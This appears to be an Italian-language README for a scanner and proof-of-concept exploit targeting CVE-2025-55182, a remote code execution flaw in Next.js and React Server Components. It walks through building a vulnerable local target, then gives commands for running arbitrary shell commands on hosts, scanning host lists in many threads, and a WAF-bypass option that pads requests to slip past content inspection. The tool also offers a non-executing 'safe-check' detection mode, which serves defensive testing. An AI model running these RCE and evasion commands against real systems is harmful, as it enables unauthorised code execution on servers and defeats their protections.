
Ambiente di riproduzione di CVE-2025-55182 e PoC di RCE con echo
| Componente | Versione consigliata per la riproduzione | Intervallo di versioni vulnerabili |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) o superiore |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 o 19.2.0 | 19.0.0 a 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 a 19.2.0 |
Installa forzatamente una versione precedente
cd cve-2025-55182-target
npm install --force
Verifica le versioni delle dipendenze
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
Finché l'elenco delle dipendenze di primo livello mostra [email protected] e [email protected], l'ambiente risulta correttamente bloccato nello stato vulnerabile; puoi ignorare eventuali avvisi e codici di errore visualizzati.
Compilazione:
npm run build
Avvio:
npm start
Il server ascolterà su http://localhost:3000. Configurazione dell'ambiente completata, puoi iniziare la verifica della vulnerabilità.
Rilevamento/Scansione della vulnerabilità:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Uno strumento da riga di comando per rilevare CVE-2025-55182 e CVE-2025-66478 nelle applicazioni Next.js che utilizzano React Server Components.
Per i dettagli tecnici sulla vulnerabilità e sulla metodologia di rilevamento, consulta il nostro post sul blog: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Per impostazione predefinita, lo scanner invia una richiesta POST multipart appositamente realizzata contenente un payload proof-of-concept RCE che esegue un'operazione matematica deterministica (41*271 = 11111). Gli host vulnerabili restituiscono il risultato nell'header di risposta X-Action-Redirect come /login?a=11111.
Lo scanner testa prima il percorso root. Se non è vulnerabile, segue i redirect dello stesso host (ad es. / a /en/) e testa la destinazione del redirect. I redirect cross-origin non vengono seguiti.
Il flag --safe-check utilizza un metodo di rilevamento alternativo che si basa su indicatori side-channel (codice di stato 500 con specifico error digest) senza eseguire codice sul target. Usa questa modalità quando non si desidera eseguire RCE.
Il flag --waf-bypass antepone dati casuali al corpo della richiesta multipart. Questo può aiutare a eludere l'ispezione dei contenuti WAF che analizza solo la prima parte del corpo della richiesta. La dimensione predefinita è 128KB, configurabile tramite --waf-bypass-size. Quando il bypass WAF è abilitato, il timeout viene automaticamente aumentato a 20 secondi (a meno che non venga impostato esplicitamente).
Il flag --windows cambia il payload da shell Unix (echo $((41*271))) a PowerShell (powershell -c "41*271") per i target che eseguono Windows.
pip install -r requirements.txt
Scansione di un singolo host:
python3 scanner.py -u https://example.com
Scansione di un elenco di host:
python3 scanner.py -l hosts.txt
Scansione con più thread e salvataggio dei risultati:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scansione con header personalizzati:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Utilizza il rilevamento side-channel sicuro:
python3 scanner.py -u https://example.com --safe-check
Scansione di target Windows:
python3 scanner.py -u https://example.com --windows
Scansione con bypass WAF:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
Il PoC RCE è stato originariamente divulgato da @maple3142 -- siamo incredibilmente grati per il loro lavoro nella pubblicazione di un PoC funzionante.
Questo strumento è stato originariamente realizzato come un modo sicuro per rilevare la RCE. Questa funzionalità è ancora disponibile tramite --safe-check, la modalità di "rilevamento sicuro".
I risultati vengono stampati sul terminale. Quando si utilizza -o, gli host vulnerabili vengono salvati in un file JSON contenente l'intera richiesta e risposta HTTP per la verifica.